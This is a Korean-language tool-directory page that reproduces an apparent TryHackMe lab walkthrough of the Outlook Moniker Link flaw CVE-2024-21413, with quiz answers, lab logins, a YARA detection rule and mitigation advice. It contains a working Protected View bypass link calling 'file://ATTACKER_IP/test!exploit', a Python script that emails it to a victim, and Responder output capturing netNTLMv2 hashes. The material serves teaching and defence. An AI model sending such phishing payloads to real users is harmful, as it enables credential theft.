Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Moniker-Link-CVE-2024-21413- — 2024년 2월 13일, 마이크로소프트는 CVE-2024-21413(모니커 링크)이 할당된 Microsoft Outlook RCE 및 자격 증명 유출 취약점을 발표했습니다. Check Point Research의 Haifei Li가 이 취약점을 발견한 데 공로를 인정받았습니다. 이 취약점은 특정 유형의 하이퍼링크를 처리할 때 Outlook의 보안 메커니즘을 우회합니다. | Kitploit
도구/GitHubGitHub/hau2212/moniker-link-cve-2024-21413-
Vulnerability AnalysisExploitationPhishingLearning & EducationEmail SecurityLabs & Practice
GitHubhau2212/moniker-link-cve-2024-21413-

Moniker-Link-CVE-2024-21413-

2024년 2월 13일, 마이크로소프트는 CVE-2024-21413(모니커 링크)이 할당된 Microsoft Outlook RCE 및 자격 증명 유출 취약점을 발표했습니다. Check Point Research의 Haifei Li가 이 취약점을 발견한 데 공로를 인정받았습니다. 이 취약점은 특정 유형의 하이퍼링크를 처리할 때 Outlook의 보안 메커니즘을 우회합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
9개월 전아직 검토되지 않음

Moniker-Link-CVE-2024-21413-

2024년 2월 13일, Microsoft는 CVE-2024-21413(Moniker Link)으로 지정된 Microsoft Outlook RCE 및 자격 증명 유출 취약점을 발표했습니다. Check Point Research의 Haifei Li가 이 취약점을 발견한 것으로 알려졌습니다.

이 취약점은 Moniker Link라고 하는 특정 유형의 하이퍼링크를 처리할 때 Outlook의 보안 메커니즘을 우회합니다. 공격자는 악성 Moniker Link가 포함된 이메일을 피해자에게 보내 악용할 수 있으며, 하이퍼링크를 클릭하면 Outlook이 사용자의 NTLM 자격 증명을 공격자에게 보내게 됩니다.

취약점 점수 관련 세부 사항은 아래 표에 제공되어 있습니다.

root@kitploit:~
  
CVSS	                              설명
게시 날짜	                      2024년 2월 13일
MS 문서	                        https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413
영향	                            원격 코드 실행 및 자격 증명 유출
심각도	                          치명적
공격                              복잡성	낮음
점수	                            9.8

이 취약점은 다음 Office 릴리스에 영향을 미치는 것으로 알려져 있습니다.

root@kitploit:~
  
릴리스	                 버전
Microsoft                Office LTSC 2021	19.0.0부터 영향
Microsoft                365 Apps for Enterprise
영향                 시작: 16.0.1
Microsoft                Office 2019
영향                 시작: 16.0.1
Microsoft                Office 2016
영향                 시작: 16.0.0, 16.0.5435.1001 이전

학습 목표

  • 취약점 작동 방식
  • Outlook의 "Protected View" 이해
  • 취약점을 사용하여 Outlook 클라이언트에서 자격 증명 유출
  • 탐지 및 완화 조치

VM 시작

이 작업에는 AttackBox와 취약한 머신이 모두 필요합니다. 첨부된 VM을 배포하려면 아래의 녹색 Start Machine 버튼을 누르십시오.

THM 키

root@kitploit:~
  
Username	tryhackme
Password	Kkh3gv439dnq!

질문 TASK 1

root@kitploit:~
  
CVE에 할당된 "심각도" 등급은 무엇입니까?
> 정답 : 치명적

TASK 2 Moniker Link (CVE-2024-21413)

Outlook은 이메일을 HTML로 렌더링할 수 있습니다. 즐겨찾는 뉴스레터에서 이를 사용하는 것을 볼 수 있습니다. 또한 Outlook은 HTTP 및 HTTPS와 같은 하이퍼링크를 구문 분석할 수 있습니다. 그러나 Moniker Links라고 하는 응용 프로그램을 지정하는 URL도 열 수 있습니다. 일반적으로 외부 응용 프로그램이 트리거되면 Outlook에서 보안 경고를 표시합니다.

image

이 팝업은 Outlook의 "Protected View"의 결과입니다. Protected View는 첨부 파일, 하이퍼링크 등이 포함된 이메일을 읽기 전용 모드로 열어 매크로와 같은 것(특히 조직 외부에서 온 것)을 차단합니다.

하이퍼링크에서 file:// Moniker Link를 사용하여 Outlook이 네트워크 공유의 파일과 같은 파일에 액세스하도록 지시할 수 있습니다(<a href="file://ATTACKER_IP/test">Click me</a>). SMB 프로토콜이 사용되며, 여기에는 로컬 자격 증명을 사용한 인증이 포함됩니다. 그러나 Outlook의 "Protected View"가 이 시도를 감지하고 차단합니다.

root@kitploit:~

Click me

여기서 취약점은 하이퍼링크에 ! 특수 문자와 Moniker Link에 일부 텍스트를 포함하도록 수정하여 Outlook의 Protected View를 우회하는 데 있습니다. 예: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.

root@kitploit:~

Click me

공격자로서 우리는 이러한 성격의 Moniker Link를 공격에 제공할 수 있습니다. 공유가 원격 장치에 존재할 필요가 없으며, 인증 시도가 어차피 시도되어 피해자의 Windows netNTLMv2 해시가 공격자에게 전송됩니다.

원격 코드 실행(RCE)은 Moniker Link가 Windows의 COM(Component Object Model)을 사용하기 때문에 가능합니다. 그러나 이 특정 CVE를 통한 RCE 달성에 대한 공개된 개념 증명이 없으므로 이 방에서는 이에 대한 설명이 현재 범위를 벗어납니다.

질문 TASK 2

root@kitploit:~
  
하이퍼링크에서 사용하는 Moniker Link 유형은 무엇입니까?
> 정답 : file://

Outlook의 "Protected View"를 우회하는 데 사용되는 특수 문자는 무엇입니까?
> 정답 : !
  

TASK 3 악용

이 공격을 위해 우리는 이전 작업에서 제공된 것과 유사한 Moniker Link를 피해자에게 이메일로 보낼 것입니다. 공격자의 목표는 Outlook의 "Protected View"를 우회하는 Moniker Link가 포함된 이메일을 피해자에게 제작하여, 피해자의 클라이언트가 공격자의 시스템에서 파일을 로드하려고 시도하여 피해자의 netNTLMv2 해시가 캡처되도록 하는 것입니다.

하지만 먼저 제가 만든 PoC를 살펴보겠습니다(GitHub에서도 확인 가능).

root@kitploit:~
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender_email = '[email protected]' # Replace with your sender email address
receiver_email = '[email protected]' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\


    

Click me

""" message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()

PoC는:

  • 공격자 및 피해자 이메일을 받습니다.
  • 일반적으로 자체 SMTP 서버를 사용해야 합니다(이 방에서는 이미 제공되었습니다).
  • 인증을 위한 비밀번호가 필요합니다.
  • 이 방에서는 [email protected]의 비밀번호는 attacker입니다.
  • 이메일 콘텐츠(html_content)를 포함하며, 여기에는 HTML 하이퍼링크로 Moniker Link가 포함되어 있습니다.
  • 그런 다음 이메일의 "subject", "from" 및 "to" 필드를 채웁니다.
  • 마지막으로 이메일을 메일 서버로 전송합니다.

공격 시스템에서 Responder를 사용하여 SMB 리스너를 생성해 보겠습니다. THM AttackBox의 경우 인터페이스는 -I ens5입니다. 자신의 장치(예: Kali)를 사용하는 경우 인터페이스 이름이 다를 수 있습니다. 숙제를 원한다면 Impacket 서버도 사용할 수 있습니다.

AttackBox에서 Responder 시작

root@kitploit:~
  
root@attackbox:# responder -I ens5
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CTRL-C

-- cut for brevity --

[+] Listening for events...

분할 화면 보기에서 "CVE-2024-21413" 창을 눌러 취약한 머신을 열어 보겠습니다.

image

바탕 화면의 "Outlook" 바로 가기를 클릭하여 Outlook을 엽니다. Outlook이 열리면 팝업에서 "I don't want to sign in or create an account"를 클릭합니다.

image

두 번째 팝업은 팝업 오른쪽 상단의 "X"를 클릭하여 해제합니다(화면 해상도에 따라 창을 왼쪽으로 약간 끌어야 할 수도 있음).

image

완료되면 Outlook 인터페이스가 표시됩니다. 이 방에서는 피해자의 사서함이 이미 Outlook에 설정되어 있습니다.

image

AttackBox로 돌아갑니다. 위의 PoC를 AttackBox에 복사하여 붙여넣겠습니다.

image

이를 위해 AttackBox에 새 파일을 만듭니다. nano exploit.py를 입력하고 분할 화면 보기에서 슬라이드 아웃 트레이를 사용합니다. 아래 GIF를 참조하여 실제 작동을 확인하세요.

image

https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif

Python 스크립트를 실행하기 전에 AttackBox에서 몇 가지 초기 설정을 수행해야 합니다.

  • PoC의 Moniker Link(12번째 줄)를 수정하여 AttackBox의 IP 주소를 반영합니다.
  • 31번째 줄의 MAILSERVER 자리 표시자를 10.10.17.220으로 바꿉니다.

완료되면 익스플로잇을 실행할 수 있습니다. 공격자 이메일 비밀번호를 묻는 메시지가 표시되면 "attacker"를 입력합니다.

exploit.py 실행

root@kitploit:~
  
root@attackbox:# python3 exploit.py
Enter your attacker email password: attacker

Python 스크립트는 이메일이 전송되면 "Email delivered"를 출력합니다. 스크립트가 인증 실패를 알리는 경우 exploit.py의 값을 올바르게 바꾸었는지 확인하십시오. 이제 취약한 머신으로 돌아가 새 이메일을 확인합니다.

image

"Click me" 하이퍼링크를 클릭하고 AttackBox의 "Responder" 터미널 세션으로 돌아갑니다.

image

성공! 피해자의 netNTLMv2 해시가 AttackBox에서 캡처되었습니다.

질문 TASK 3

root@kitploit:~
  
AttackBox에서 사용자의 해시를 캡처하는 데 사용하는 응용 프로그램의 이름은 무엇입니까?
> 정답 : responder

이메일의 하이퍼링크를 클릭하면 어떤 유형의 해시가 캡처됩니까?
> 정답 : netNTLMv2
  

TASK 4 탐지

YARA

Florian Roth가 Moniker Link에 file:\ 요소가 포함된 이메일을 탐지하기 위해 Yara 규칙을 만들었습니다.

root@kitploit:~

CVE
-2024-21413 Yara rule created by Florian Roth
user@yourmachine:# cat cve-2024-21413.yar 


rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {

   meta:

      description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"

      author = "X__Junior, Florian Roth"

      reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"

      date = "2024-02-17"

      modified = "2024-02-19"

      score = 75

   strings:

      $a1 = "Subject: "

      $a2 = "Received: "



      $xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/

   condition:

      filesize < 1000KB

      and all of ($a*)

      and 1 of ($xr*)

}

Wireshark

또한 피해자에서 클라이언트로의 SMB 요청이 잘린 netNTLMv2 해시와 함께 패킷 캡처에서 확인될 수 있습니다.

image

질문 TASK 4

root@kitploit:~
  
다음 작업으로 진행하려면 클릭하세요!
> 정답 : 정답 없음

TASK 5 완화

Microsoft는 2월 '패치 화요일' 릴리스에서 이 취약점을 해결하는 패치를 포함했습니다. Office 빌드별 KB 문서 목록은 여기에서 확인할 수 있습니다. Windows 업데이트 또는 Microsoft 업데이트 카탈로그를 통해 Office를 업데이트하는 것을 강력히 권장합니다.

또한 그동안 일반적인 안전한 사이버 보안 관행을 실천하는 것이 시의적절한 알림입니다. 예를 들어 사용자에게 다음을 상기시킵니다.

  • 임의의 링크를 클릭하지 마십시오(특히 원치 않는 이메일의 링크).
  • 링크를 클릭하기 전에 미리 보십시오.
  • 의심스러운 이메일을 사이버 보안을 담당하는 해당 부서로 전달하십시오.

이 취약점은 Outlook의 Protected View를 우회하므로 Outlook을 재구성하여 이 공격을 방지할 방법이 없습니다. 또한 SMB 프로토콜을 완전히 차단하는 것은 특히 네트워크 공유에 액세스하는 데 필수적이므로 득보다 실이 클 수 있습니다. 그러나 조직에 따라 방화벽 수준에서 차단할 수 있습니다.

질문 TASK 5

root@kitploit:~
  
다음 작업으로 진행하려면 클릭하세요.
> 정답 : 정답 없음

도구 다운로드